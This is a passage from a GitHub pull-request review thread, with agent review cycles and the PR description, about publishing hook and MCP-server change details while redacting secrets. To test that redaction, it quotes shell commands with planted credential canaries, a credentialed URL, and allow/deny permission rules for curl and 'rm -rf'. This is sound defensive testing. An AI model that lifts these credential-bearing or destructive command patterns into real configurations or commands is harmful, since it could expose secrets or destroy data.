mainthrough workflow labels, as the earlier cycles noted, so this adds no capability an author lacks. Still, no GitHub issue tracks the problem, and_LONG_SHAPEShas no matcher shape. - A matcher over a small bound (such as 1,024 characters) could publish
<not-shown>before the label rule runs.
- A 128 KiB matcher of
- A timeout that changes from a number to a string prints the same value twice.
"timeout": 5→"timeout": "5"readsPostToolUse: timeout 5 → 5. The row is correct that something changed, but it shows no difference. Printing a string timeout quoted ("5"), as an empty matcher is, would show it. - The package marker can collide.
["-y","pkg@1.0.0","<package>"]→["-y","<package>","pkg@1.0.0"]gives equalpackageandargs_sha256values, thoughconfig_sha256differs.- The row then reads
no difference in the command name npx, launch arguments, …, which is false. - This is contrived. Digesting
{"args": …, "package_index": i}instead of an in-band marker would remove it.
- The row then reads
- The strict package shape still admits a free plain token in an OCI tag or in npm build metadata.
db/admin:S3cretPassw0rd,org/img:npm_…andpkg@1.2.3+hunter2are published as packages.- The label redaction does not know the
npm_,glpat-orAIzashapes, so each of those is also published as anexecutablewhen it is the command's first word. - This is within the shape the scope decision names. It is listed as optional hardening only.
- "First package-shaped argument" can name something other than the server.
uvx --with requests==2.31.0 mcp-foo==1.2.0→mcp-foo==1.3.0publishesrequests==2.31.0as the package, so the version change reads onlylaunch arguments changed.["x@1.0.0","y@2.0.0"]→["z","y@2.0.0"]readspackage x@1.0.0 → y@2.0.0.- Both follow the documented rule. They affect readability only.
docs/design-partner-pilot-results.mdquotes a draft of this PR that never shipped. It still says the grant "carries #819'sargs: []andomitted_args: 0". The ledger's next sentence corrects it, but a reader who did not follow the PR will look for fields that do not exist.
Prior blocking findings, re-verified at this head:
- Cycle 4 (
215e1adc): all three fixed.-
1. No command or argument text is published. One repository adds every earlier canary as a hook or an MCP server:
docker exec app sh -c "curl -u admin:c4canaryA …",ssh deploy@host "tool --pass c4canaryB",sudo bash -c "tool --secret-key c4canaryC; ./run.sh"and the MCP["exec","app","sh","-c","gh auth login token c4canaryD"];- the cycle 3
LEAKCANARY1–3scripts; sshpass -p hunter2LOCAL,pwsh -c "$env:API_KEY='abcSECRET1'…", and a line continuation after--token;kubectl exec … sh -c, a nestedbash -c "bash -c '…'"and a here-document;- SendGrid- and Telegram-shaped keys in MCP
args.
None of them appears in
difftext or JSON,verify --format text, any file under--out(pr-comment.md,verifier.json,agent-handoff.json,current-control.json),check --format text,check --format agent-boundary-jsonoraudit --host --json. A second repository with fresh canaries also finds none, inaudit --host --scope local-static --json, a drift JSON and text payload against a baseline saved at the base, and baselines saved at both commits. That repository puts canaries in:- hook commands (quoted words,
-cscripts, a here-document, a path segment before the basename, an assignment name,$(…),-u user:pw); - a non-plain string timeout, an
asyncvalue and aprompthandler; - MCP
argsin.mcp.json,.codex/config.toml,.vscode/mcp.jsonand.cursor/mcp.json; - an MCP command path and an
envvalue.
-
2. Reorders. The
asyncreorder readsPreToolUse: the published handlers in a different order; a detail this output does not show may also differ, …indiffandpr-comment.md. The past-the-old-word-bound reorder names both command changes with their digests. -
3. The PR comment bound. Eight changed hooks have three handlers each and 118-character matchers, with an added
allow: Bash(curl:*)and a removeddeny: Bash(rm -rf:*). The comment (5,960 characters) keeps all 10 rows, both permission entries andReview question: Does the team intend these 10 declared capability changes?. The hook entries end in the shortened marker.
-
- Cycles 1–3: the shell-text findings are resolved by the scope decision. Every canary from those cycles is in the repository above, with 0 hits.
Verified:
- Issue fixtures.
- On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreadsdocs: no difference in the command name npx, env key names or header key names; …. - On this head they read
PostToolUse: matcher Edit → Edit|Write|Bash,PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc),PostToolUse: timeout 10 → 600anddocs: package example-mcp-server@1.2.3 → example-mcp-server@latest. diff --jsonrowsare byte-identical tomain's for all four fixtures and for the canary repository. For all five repositories,check --format agent-boundary-jsonis byte-identical tomain's once the launcher path in the printed commands is normalised.
- On
- Equality and baselines.
config_sha256values are identical tomain's across the 9 grants of the canary repository.- A
0.6baseline saved bymaincompares with no drift at the same commit and with the same 9 changes at the head.--save-baselinereplaces it (status: updated, schema0.7). - A saved
0.7baseline's hook and MCP grants hold nohandlers,omitted_handlers,packageorargs_sha256. The drift payload'sbaselineside lacks them, and itscurrentside has them.
- Output safety. A matcher with an ESC byte, a newline, backticks and
|is escaped (\x1b,\x0a) indifftext. Inpr-comment.mdit stays inside a longer backtick code span. - Other hosts. A Codex
.codex/hooks.jsontimeout edit readsPreToolUse: timeout 5 → 50, wheremainreadsPreToolUse → PreToolUse. - The digest's assignment rule.
- Reading the lookahead: every match must consume the whole run of name characters, since what follows the name must be whitespace or
=. So adding the possessive lookahead removes no match and adds none. - The PR's 20,000-string differential test and the timing tests pass.
- Reading the lookahead: every match must consume the whole run of name characters, since what follows the name must be whitespace or
- Tests fail without the fix. Five mutations in a scratch copy of this head each make a targeted test fail, and the unmutated selection passes (32 tests):
- comparing raw grants in
diff_host_grants; - forcing
MARKDOWN_ENTRY_MAX_CHARSto(None,); - publishing the whole sanitized first word as
executable; - dropping the package's previous-flag test;
- saving baselines without
compared_grant.
- comparing raw grants in
- Local checks.
- The run covered 93 test files: the 12 this PR edits, and every test file that references host grants, capability diff rows, host comparison, the host-grants schemas or the PR comment. These include the host-config and cold-start replays, the oracle controls, the public surface contract, schema round-trip and surface parity.
- Result: 4,527 passed, 4 skipped, 1 failed. The one failure is
tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs. It fails the same way onmain8269922bunder this machine's Python 3.14, whereTOMLDecodeErrorreports a line and column. scripts/generate_schemas.py --checkexits 0,scripts/build-llms-full.pyleaves no diff, andruff check src tests scriptsis clean.
- CI: green on
e980f742: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras.release-tag-consistencywas skipped.
- A hook command whose first word is a URL no longer publishes the URL's host as its executable. The digest's input keeps a URL's host and drops its userinfo, query and path, so the last segment of `http://deploy:pw@build-cache.corp.internal?token=x` was the host. A first word holding `://`, as written or as that input holds it, now names no executable (`<not-shown>`), as the STABILITY note already said. - When only one side's hook declaration is outside the documented shape, the row names that side and lists the other side's handlers, as an added hook's cell does: `PostToolUse: base matcher, command and timeout not shown (...); head (matcher Edit; command a.sh sha256:...)`. It used to say the declaration was malformed without naming a side, so a PR that repairs a hook block read as though the new block were the malformed one. Both sides outside the shape read as before. - A matcher longer than 1,024 characters is `<not-shown>` and never reaches the published-label redaction, whose jwt and database-URL patterns take quadratic time. Only the listed handlers are read for publishing, and a group's matcher once: the matcher was redacted once per handler, so a 100,000-character matcher over 2,000 handlers took 17 seconds to read and a 400,000-character one over 20,000 handlers did not finish in ten minutes. Both now read in about 0.1 seconds. - `args_sha256` digests the package's position beside the marked arguments, so a literal `<package>` argument can no longer make two different argument lists digest alike. - `uvx --with` is no longer a package runner's flag: its value is an extra requirement, not the server, so the server's own pin is the published package. - A timeout published as text that reads as a finite number prints quoted, `timeout 5 → "5"`, instead of `timeout 5 → 5`. - docs/design-partner-pilot-results.md no longer describes a draft of this change that never shipped. The STABILITY note, CHANGELOG, host-boundary-support, the v0.7 inventory schema's descriptions and the tests follow. No command or argument text is published anywhere; every command digest is unchanged.
|
Addressed review cycle 5. New head BlockingC5-851-1: a URL as the first word published its host as
C5-851-2: only the base outside the documented shape made the row call the declaration malformed. Fixed in
A hang found while checking the P3 matcher finding (fixed)
Now only the listed handlers are read for publishing, and a group's matcher is read once. The same two files read in 0.06 s and 0.12 s. Nonblocking
Tests run
|
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 6 at 35d07ccb.
Not mergeable yet: one finding blocks merge. Both cycle 5 findings are fixed at this head, and no command or argument text reaches any output I checked. CI is green. The blocking finding: from about 13 changed hooks with two handlers each, the PR comment now drops lines that main keeps. Those lines are the reproduction command, the advisory line and, from 14 hooks on, the review question and whole rows. The CHANGELOG says the PR comment "keeps every row".
Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.
- P2: from about 13 hook rows with long entries, the PR comment loses lines
mainkeeps: the review question, the reproduction command, the advisory line, and eventually rows.- Evidence. One pull request moves the hook scripts from
.claude/hooks/and.codex/hooks/toscripts/hooks/.- It covers all nine
.claude/settings.jsonevents and five.codex/hooks.jsonevents. - Each event has one
Edit|Write|MultiEditgroup with two handlers,format.shandlint.sh, bothtimeout: 30. That makes 14 rows. - I ran
verify --ci-mode advisoryand checkedpr-comment.mdin the defaultcapability-reviewstyle.
- It covers all nine
- On
main(4,666 characters): all 14 rows are there, followed byWhat this run established,Review question: Does the team intend these 14 declared capability changes?,Reproduce: …,Advisory: no application release policy configured. This comparison grants no merge authority.andEvidence: …. - On this head (5,818 characters):
- 13 entries are cut to 120 characters, each followed by the 57-character
(shortened here; …)marker. - The 14th row prints its heading (
- ⚠ high / widened — codex .codex/hooks.json) with no entry and nowhy. - The comment then ends with
- … additional human summary detail omitted; see verifier.json. - None of
What this run established, the review question,Reproduce,AdvisoryorEvidenceis in the comment.
- 13 entries are cut to 120 characters, each followed by the 57-character
- Other sizes.
- With 13 rows (four Codex events), the head keeps the review question but drops
Reproduce,AdvisoryandEvidence.mainkeeps all three. - With 16 events whose only change is
async, the head lists 14 of the 16 row headings and no review question.mainlists all 16 and the review question. - The existing test stops at 10 rows (8 hooks), where the head still fits.
- With 13 rows (four Codex events), the head keeps the review question but drops
- Cause.
with_entries_in_room(report/host_comparison.py) tries onlyMARKDOWN_ENTRY_MAX_CHARS = (None, 480, 240, 120). When the comment does not fit even at 120, it returns the 120-character lines, and_truncate_markdown_linescuts the tail as before.- At that bound a hook entry costs about 180 characters, counting the per-entry marker. On
mainthe same entry wasPreToolUse → PreToolUse, about 30 characters. - So at every size between these thresholds and
main's own limit, the head's comment ends up shorter on content thanmain's.
- Docs.
- The CHANGELOG entry leads with "The PR comment keeps every row:".
- The PR description says "The PR comment keeps every row."
- The
with_entries_in_roomdocstring says every row heading, the review question and the reproduction stay "wherever shortening entries makes them fit". Here they would fit:mainfits them in 4,666 characters. - STABILITY's "when not even 120 fits, entries are cut to 120 and the bound cuts the rest, as before" reads as no worse than before, which is not what happens here.
- Fix.
- Make the comment never lose a line that
mainwould print. For example, after 120, fall back to each over-long entry's ownbefore → aftertext (the 1.1.0 text), or derive each entry's bound from the room left divided by the number of entries. - Print the
verifier.jsonpointer once rather than after every entry. - Add a test built from the 14-row case above: every row heading and entry, the review question, and the
ReproduceandAdvisorylines appear inpr-comment.md, within 6,000 characters. - Then align the CHANGELOG, STABILITY and docstring wording with the new behaviour.
- Make the comment never lose a line that
- Evidence. One pull request moves the hook scripts from
Nonblocking (P3):
- A boolean or non-finite timeout and the same word as a string publish the same value.
true→"true", JSONInfinity→"inf"andNaN→"nan"each publish equal timeouts, so such a change readsno difference in the matcher, command or timeout; …, although the timeout's type changed. The cycle 5 quoting covers only text that reads as a finite number. Quoting every string timeout would close it. This is contrived, since a boolean timeout is not valid. - The matcher's 1,024-character input bound applies to the raw text, not to the digest's input.
Bash(TOKEN=AAAAAAAAAA x)andBash(TOKEN=<1,100 characters> x)have the sameconfig_sha256, yet they publishBash(TOKEN=<redacted> x)and<not-shown>.- STABILITY's "Every new member is a function of the configuration as
config_sha256's input holds it, so it can move only when that digest does" is therefore not exact. - No row, digest or baseline is affected, since equality leaves the member out. Either bound the sanitized text, or reword the sentence.
- The shape sentence names the wrong condition when
commandis not a string.{"hooks":[{"type":"command","command":123}]}publisheshandlers: null, and the row says "the declaration is not a list of matcher groups whose hooks are objects", although it is one. STABILITY's Shape bullet states the condition correctly: "whosecommand, when present, is a string". The row sentence and the CHANGELOG ("objects with a stringcommand") could match it. - A redaction gap that predates this PR, which the matcher now also passes through.
_sanitize_sensitive_string's header rule replaces the first word afterAuthorization:, which is the scheme, so the bearer rule never sees the token.Bash(curl -H "Authorization: Bearer hunter2hunter2" …)is published bymaintoday as the permission ruleAuthorization: <redacted> hunter2hunter2.- A hook matcher of that shape is published the same way on this head.
- Tokens with a known prefix (
ghp_,sk-, JWT) are still caught by the label rule; opaque ones are not. - Real hook matchers name tools, not arguments, so this is contrived for matchers. It is worth a separate issue for permission rules; no issue tracks it that I could find.
- PR description drift. "Contract goes 40 → 41 to advertise that": contract 41 is already on
mainfrom #821, and this PR extends it in place, as the contract comment says.
Prior blocking findings, re-verified at this head:
- Cycle 5 (
e980f742): both fixed.- 1. A URL's host as
executable.bin/notify.sh→http://deploy:hunter2@build-cache.corp.internal?token=abc123 xnow readsStop: command changed (notify.sh sha256:091252764676 → <not-shown> sha256:649aa3f6c65c).mainreadsStop → Stop.hunter2,abc123,build-cacheandcorp.internalappear 0 times indifftext and JSON,verifytext, every file under--out,checktext andagent-boundary-json,audit --host --json, the drift payload and both saved baselines.- A fuzz run of 400,000 random commands, built from credential, URL, quote, separator and path fragments, found no published
executablethat is not the literal last/or\segment of the command's first word as written, quotes removed.
- 2. One side outside the documented shape. Base object and head list reads
PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:2f43f87c0e06), and the mirror namesheadand listsbase.mainreadsPostToolUse → PostToolUsein both directions. - Tests fail without the fixes. Removing the two
://conditions from_hook_command, and restoring the either-side shape sentence in_hook_change, fails 10 tests:- seven URL cases of
test_the_executable_is_a_plain_token_or_not_named; test_no_command_or_argument_text_reaches_any_output_or_artifact;- both directions of
test_one_side_outside_the_documented_shape_names_that_side_and_lists_the_other.
- seven URL cases of
- 1. A URL's host as
- Cycles 1–4: resolved as cycle 5 recorded. The shell-text findings are closed by the scope decision.
Verified:
- 27 edge cases in one repository: 17 hook events and 10 MCP servers.
- The rows are correct in every case:
- a positional handler shift, a duplicated handler, and a group swap, which reads as a reorder;
matcherabsent →"";timeout5→5.0,"5"→5and0→-1;- an 80-digit timeout, and
1e308→-1e-320; - a prompt-text edit, a 17th-handler edit, and
[]→ one handler; - a declaration →
null; - a Windows path, a
command→prompttype change, and a whitespace-only command; - a 1,000 → 1,100-character matcher, and two groups merged into one;
- MCP
[]→["x"], noargs→[], a package moving position, PyPI and OCI pins, a package plus an argument, a package removed,argsremoved, a URL server gainingargs, and--secret-keyrotated.
--tokenrotated is correctly no row.- Prompt text and argument canaries appear 0 times on every route.
- The entries are identical across
difftext,review.changes[].changeindiff --jsonandverifier.json,verifytext andchecktext. diff --jsonrowsandcheck --format agent-boundary-jsonare byte-identical tomain's.- Baselines saved at both commits carry the same
inventory_sha256and grants asmain's, and none of the display members. The drift payload'scurrentside has them, and itsbaselineside does not.
- The rows are correct in every case:
- Package index alignment.
_redact_secret_valuesmaps list items one to one, soredacted[index]is always the item's own redaction. - Schemas and docs.
scripts/generate_schemas.py --checkexits 0, andruff check src tests scriptsis clean.- The CHANGELOG
## 1.1.0section is byte-identical toe3c6cb0c, and the #819 migration note sits underMigration Note: Unreleased. - The 0.6 schema files are unchanged.
- The STABILITY example digests reproduce:
bin/lint.sh --fix, and["-y","example-mcp-server@1.2.3"].
- Local tests.
- The run covered 111 test files, 5,610 tests: every test file this PR edits, every one that references host grants, capability diff rows, host comparison, the PR comment, the contract or the host-grants schemas, and the host-config and cold-start replays, the oracle controls and the public surface contract.
- All passed except 7 in
tests/test_release_source.py, which fail here withModuleNotFoundError: hatchlingbecause the local environment lacks it. They are unrelated to this PR, and CI runs them green. tests/test_hook_mcp_detail_fields.pypassed in full.
- CI: green on
35d07ccb(run 35898581519): suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras.release-tag-consistencywas skipped.
- The PR comment keeps every line 1.1.0 kept. With about 13 long hook entries the comment lost what 1.1.0's printed: each entry was cut to 120 characters and followed by its own 57-character verifier.json pointer, so a cut entry cost about 180 characters against 30 for `PreToolUse → PreToolUse`, the comment still did not fit, and its bound cut the coverage block, the review question, the reproduction, the advisory and the evidence line, and from 16 rows row headings too. The lines 1.1.0 printed now get their room first: the coverage block's budget and the agent instruction block are chosen with every entry in its shortest form, and the entries get only what is left. The first that fits is printed: every entry whole; every longer entry cut to the widest length of at least 60 characters at which the comment fits (bisection); entries in their shortest form, longest first; and that without its note. An entry's shortest form is a field-level difference cut after its name (`PreToolUse: …`, `docs: …`) or an added or removed grant's own row (`(absent) → PreToolUse`), printed only where shorter; none is longer than the entry 1.1.0 printed for the same row, and a permission rule's entry and a joined change are never shortened. One line after the rows, not one per entry, says entries were shortened and that verifier.json holds each whole. The omission line of a comment without a report is as long as 1.1.0's, so a comment 1.1.0 itself cut loses no line 1.1.0's cut kept. - A boolean timeout is published as the JSON boolean, a non-finite float as `<not-shown>`, and every timeout written as text prints quoted, so `true` → `"true"` and `Infinity` → `"inf"` read `timeout true → "true"` and `timeout <not-shown> → "inf"`, not "no difference". Both used to publish the word a string could spell. - The matcher's 1,024-character bound applies to the text as config_sha256's input holds it, so `Bash(TOKEN=<10 chars> x)` and the same rule with a 1,100-character value, which share a digest, publish the same matcher. The digest's string rule already runs over every matcher and is linear; the quadratic label redaction still never reads a long one. - A declaration whose command is not a string reads `the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings`, as the STABILITY Shape bullet already stated. On the cycle-6 reproductions (two hook scripts moved under 14 and 13 events, and 16 async-only edits) every line of 1.1.0's comment, entries aside, is in this one. From 1 to 40 moved hooks, with and without a permission change, in both comment styles, every line 1.1.0 printed is kept, a coverage block that lists what 1.1.0's counted aside, and where 1.1.0's comment overflowed this one keeps at least as many lines. The v0.7 inventory schema, STABILITY, the CHANGELOG, host-boundary-support and the capability_diff registry row follow. Rows, row counts, digests and baselines are unchanged, and no command or argument text is published.
|
Addressed review cycle 6. New head C6-851-1 (P2): the PR comment dropped lines
|
| case | main |
before (35d07ccb) |
now |
|---|---|---|---|
moved-14 (9 .claude + 5 .codex events) |
all lines, 4,645 chars | 14 headings, no question / Reproduce / Advisory / Evidence | all of main's lines, entries aside; 5,994 chars |
| moved-13 | all lines | question kept; Reproduce / Advisory / Evidence lost | all of main's lines, entries aside; 5,994 chars |
| async-16 | all 16 rows and the question | 14 of 16 headings, no question | all of main's lines, entries aside; 5,985 chars |
- Sweep. I also ran 1 to 40 moved hooks, with and without a permission change, in both
capability-reviewandfindingsstyles. Every linemainprinted is kept, entries aside. The only differences are gains:- where
mainprinted1 item not listed, the coverage block now lists that item; - where
main's own comment overflowed, the head keeps at least as many lines (for example 31 headings against 28).
- where
- Mixed hooks and MCP. 22 hook rows plus 3 MCP servers with long names and env, package and argument changes:
main5,807 chars, head 5,807 chars. All ofmain's lines are kept, plus the coverage blockmainhad no room for. - Speed. Rendering a 1,502-row comment takes 0.09 s, against 0.055 s on
main.
Tests (tests/test_hook_mcp_detail_fields.py):
test_long_hook_entries_leave_every_line_1_1_0_prints_in_the_pr_comment[moved-14|moved-13|async-16]checks, inpr-comment.mdwithin 6,000 chars: every row heading with its entry and why, the coverage block with both sources, the review question, Reproduce, Advisory, Evidence, and exactly one note line.test_a_bounded_comment_keeps_every_line_its_shortest_entries_would_printuses 18 moved hooks, 3 MCP servers whose env keys and package change, an added hook and server, and a permission removal and addition. It walks every room from where the shortest-form lines alone fit to where every entry fits whole. At each room it checks that:- the result fits;
- it holds every non-entry line of the shortest-form lines;
- each entry is whole, a prefix cut of at least 60 characters, or its shortest form, and a shortest form is no longer than the entry 1.1.0 printed;
- all four rungs occur.
- The cycle-4 test now expects one note line instead of per-entry markers.
Docs. The CHANGELOG ("keeps every line 1.1.0 kept"), the STABILITY PR-comment bullet, the with_entries_in_room and host_comparison_lines docstrings, and the capability_diff registry row now describe this ladder.
Nonblocking items
-
P3, boolean and non-finite timeouts — fixed. Quoting at render could not separate them: a boolean was published as the string
"true", andInfinityas"inf", the same JSON a string timeout gives. Now:- a boolean is published as the JSON boolean;
- a non-finite float is published as
<not-shown>(JSON has no spelling for it); - every plain-token string timeout prints quoted.
true→"true"now readstimeout true → "true", andInfinity→"inf"readstimeout <not-shown> → "inf", on every route. The v0.7 inventory schema'stimeoutgainedboolean; it is regenerated, andgenerate_schemas.py --checkpasses. -
P3, matcher input bound on raw text — fixed. The 1,024-character bound now applies to the matcher as
config_sha256's input holds it. That string rule already runs over every matcher and is linear, and the quadratic label redaction still never reads a long matcher.Bash(TOKEN=<10 chars> x)andBash(TOKEN=<1,100 chars> x)now share a digest and publish the sameBash(TOKEN=<redacted> x), so the STABILITY "function ofconfig_sha256's input" sentence is exact for the matcher. New test:test_a_matcher_is_bounded_as_the_digest_input_holds_it. -
P3, shape sentence — fixed. The row now reads
… the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings, and the CHANGELOG matches. The shape test is parametrized with a non-string command. -
P3,
Authorization:header rule — not changed, as noted. It predates this PR and is covered by the pending follow-up task. -
PR-description drift — fixed. The description now says runtime contract 41 was moved by Name relevant inputs the host entry does not read, so a zero-row result is never read as covered (#812 slice 2) #821 and is extended in place. Its timeout, matcher, shape and PR-comment paragraphs follow this cycle.
-
hatchlinglocally — not reproduced. I did not runtest_release_source.py.
Tests run
- Before the final report-layer revision: 49 test files that reference changed symbols (
render_pr_comment,host_comparison_lines,pr-comment.md,capability_diff_rows,_hook_timeoutand others) all passed. - On the final head:
test_hook_mcp_detail_fields,test_host_diff_review_changes,test_manifest_free_pr_rows,test_host_comparison_coverage,test_partial_host_comparison,test_unread_changed_inputs,test_distribution_surface_parity,test_subject_rollup,test_cold_reader_order,test_human_review_presentation,test_host_only_advisory_recipe,test_claude_hooks_source,test_host_audit,test_docs_links,test_out_path_resolutionandtest_verify;- the benchmark replays
test_host_config_replay,test_cold_start_replayandtest_host_config_oracle_controls, whose run-of-record scores reproduce unchanged; - 1,105 passed, 1 skipped.
- Also checked:
generate_schemas.py --check,ruff check src tests scripts, andbuild-llms-full.py(no change tollms-full.txt).
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Reviewed exact head b713c66186a496bf98ceb4b5a9fe09aa9f4bc16e, including the prior review findings and cycle-6 fixes. No new blocking findings. I checked display-only fields against comparison/digest/baseline behavior, bounded command/package labels, typed timeout rendering, and the PR-comment space allocation.
Local validation: 558 passed, 1 skipped across hook/MCP detail fields, host-diff review changes, manifest-free PR rows, host audit, and distribution parity. Fresh verifier: control_state=complete, merge permission true. Existing full CI is green.
Integration note: #850 also introduces host-grants v0.7. Its eventual merge must combine the workflow-launch members with these hook/MCP fields and regenerate the schema files; taking either side wholesale would lose functionality. I will resolve and validate that integration before merging #850.
Closes #819
Refs #795, #714, #802, #662
Problem
A hook row showed only its event, and an MCP row could not show launch arguments.
diff,verify, the manifest-free PR comment andcheckprinted the same⚠ high widened claude-code .claude/settings.json PostToolUse → PostToolUsewhether the edit was to the hook's matcher, its command or its timeout. A version pin moving fromexample-mcp-server@1.2.3to@latestreaddocs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments.The gap was in the engine, not the renderer. A hook grant carried
access, config_sha256, event, grant_id, host, kind, risk, scope, sourceand nothing else, and anmcp_servergrant had no arguments, so onlyconfig_sha256saw the edit. On five of the 23 corpus PRs, the hook rows showed only event names.Design
No command or argument text is published. Earlier drafts of this PR published redacted command words and arguments. Each of four review cycles found a credential the redaction rules missed inside free-form shell text (a quoted word, a
-cscript, a separator, a here-document). Per the PM decision of 2026-09-23, none of that text is published on any surface, and the free-text redaction rules this PR had added are gone.Engine fields: host-grants
0.7, runtime contract 41. These extend two existing grants:handlers[]andomitted_handlers(at most sixteen handlers are listed). Each handler has:matcher, through the Token-shaped workflow job names are published raw in host grants #802 published-label redaction and cut at 120 characters (a matcher longer than 1,024 characters asconfig_sha256's input holds it is<not-shown>and never redacted or cut);commandas{executable, sha256};timeout.executableis the last/or\segment of the command's first whitespace-separated word, quotes around it removed. It is published only when it is a plain token ([A-Za-z0-9._+-], at most 80 characters) that no redaction rule rewrites, the word is not a shell reserved word such asif, and the word holds no://; otherwise it is<not-shown>, so no part of a URL is named. It is a label, not a claim about what a host runs.sha256is the SHA-256 of the whole command asconfig_sha256's input holds it.timeoutis the number or boolean as declared. An over-80-digit integer is its cut digits, a string itself when it is a plain token, and anything else, a non-finite float among them,<not-shown>. A timeout written as text prints quoted (timeout 5 → "5",timeout true → "true").mcp_servergrant addspackageandargs_sha256, bothnullwhen noargsis declared.packageis the first argument that is a package specification of a strict shape: npmname@versionor@scope/name@version(two or three numeric parts, a^/~range, or a common dist-tag), PyPIname==version, or an OCI image with a path and a tag orsha256digest.-y,--yes,--package,--from,--spec,-i,--interactive,--rm,--init,-q,--quiet). So--pass hunter@1.2.3and--token abc@1.2.3publish no package.args_sha256is the SHA-256 of every argument, the package replaced by a marker and its position digested beside them, so a package-only edit names only the package.0.7grant, so a missing key means an earlier schema read the grant.handlers: null, and its row says the matcher, command and timeout are not shown:the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings. When only one side is outside it, the row names that side (baseorhead) and lists the other side's handlers.access/risk,whyand expansion signal are unchanged.endpoint, the MCP command name that 1.1.0 already publishes and compares, is unchanged.Display only: left out of equality and every digest. Every new member is a function of the configuration as
config_sha256's input holds it, so it can move only when that digest does.diff_host_grantsandhost_grants_sha256read grants throughcompared_grant, which drops them. As a result:--secret-key) are still rows, readingcommand changedorlaunch arguments changed.--token,--api-keyor--password, a--password=…value, anX-Api-Key:header value, a URL's path) moves no digest, so a change confined to it is no row, as on 1.1.0.0.7baseline's grants are the ones a0.6baseline holds, andinventory_sha256is unchanged.0.6baseline compares with no new row or reason, andaudit --host --save-baselinemay now replace it. Older baselines are still refused.config_sha256is unchanged; a differential test pins that.Rendering through the shared rows.
capability_diff_rowsgives hook rows the same_RowView.changethat MCP rows got in #795, read only from the published handlers:PostToolUse: matcher Edit → Edit|Write|Bash,PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc),PreToolUse: handler 2 timeout 5 → 50. Rows print a digest's first twelve hex digits.+handler (…)or-handler (…).the published handlers in a different order; a detail this output does not show may also differ, such as …. Equal published handlers never establish equal handlers.package A → Bandlaunch arguments changed (sha256:… → sha256:…), and an added server names its package. Their no-difference sentence nameslaunch argumentsamong what was compared.The PR comment keeps every line 1.1.0 kept. Its 6,000-character bound cuts at the first line that does not fit, so long entries could hide later rows, the coverage block, the change count, the review question, the reproduction and the advisory. The lines 1.1.0 printed get their room first (the coverage block's budget and the agent instruction block are chosen with every entry in its shortest form), and the entries get what is left: every entry whole if the comment fits; otherwise every longer entry cut, ending in
…, to the widest length of at least 60 characters at which it does; otherwise entries in their shortest form, longest first: a field-level difference cut after its name (PreToolUse: …,docs: …), an added or removed grant as its row ((absent) → PreToolUse). No entry in that form is longer than the one 1.1.0 printed, and a permission rule's entry is never shortened. One line after the rows, not one per entry, says entries were shortened and thatverifier.jsonholds each whole. A comment with no readiness report now points toverifier.json, not areport.mdthat route does not write, in a line as long as 1.1.0's.The entry reaches:
diff,verifytext, the PR comment andchecktext;review.changes[].changeindiff --jsonand inverifier.json.Row values, the row count,
check's boundary result and the control envelope'scapability_rowsare unchanged. No entry names a direction; #820 owns that.Surface discipline.
0.21, capability diff0.4(both Name relevant inputs the host entry does not read, so a zero-row result is never read as covered (#812 slice 2) #821's, onmain) andshipgate.agent_boundary_result/v3do not move.0.6→0.7because the0.6schemas are closed and shipped in 1.1.0. Runtime contract 41, which Name relevant inputs the host entry does not read, so a zero-row result is never read as covered (#812 slice 2) #821 already moved onmain, is extended in place to advertise that.@latest, no version, git without ref, image without digest) after launch arguments are published #825 and Note an inline hook that unconditionally returns permissionDecision allow for a broad matcher #826.capability_diffrow indocs/distribution-surfaces.mdand its parity-test comment are updated. They add no claim, so the claims vocabulary is unchanged.Evidence (measured on this branch, 2026-09-23)
The issue's four fixtures. Before is the prepared release commit
e3c6cb0c; after is this branch.PostToolUse → PostToolUsePostToolUse: matcher Edit → Edit|Write|BashPostToolUse → PostToolUsePostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)PostToolUse → PostToolUsePostToolUse: timeout 10 → 600docs: no difference in the command name npx, env key names or header key names; …docs: package example-mcp-server@1.2.3 → example-mcp-server@latestThe same line appears in
difftext and JSON,verifytext andverifier.json, the PR comment, andchecktext. The JSON rows are unchanged:("PostToolUse", "PostToolUse", "widened")and("docs", "docs", "widened").The 80 vendored benchmark cases. These are the host-config and cold-start cases: file pairs from real merged PRs. Each was rebuilt as a two-commit repository and run through
diff --jsonone3c6cb0cand on this branch.PreToolUse → PreToolUse, orno difference in the command name …), and none is now. They come from six repositories; one case is vendored in both benchmarks. They now read:mcp-outline: package mcp-outline==1.10.0 → mcp-outline==1.10.1(both benchmarks)ruleblast: package ruleblast@2.5.9 → ruleblast@2.5.11jarvis: launch arguments changed (sha256:c5aaf27e194b → sha256:e79d1577b22b)PreToolUse: handler 2 timeout 30 → 120PreToolUse: +handler (matcher Edit|Write, command bash sha256:94eafc18278b, timeout 10)PostToolUse: command changed (<not-shown> sha256:3d9520ec20f6 → <not-shown> sha256:ce5cd03355e0), a command that starts withifBenchmark run of record.
tests/test_host_config_replay.py,tests/test_cold_start_replay.pyandtests/test_host_config_oracle_controls.pypass unchanged. Noreplay.jsonwas re-recorded, and the published scores reproduce exactly.Route readiness dry run.
docs/design-partner-pilot-results.md's fixture was rerun through this tree's source besidee3c6cb0c. Thecheckboundary result, theverifytext and exit, the drift signals and thedifftext are identical. The JSON differs only in schema versions, #821's coverage members,init's contract version and input id, and the addedpayments-remotegrant'spackage: nullandargs_sha256: null. The ledger records that rerun.Tests
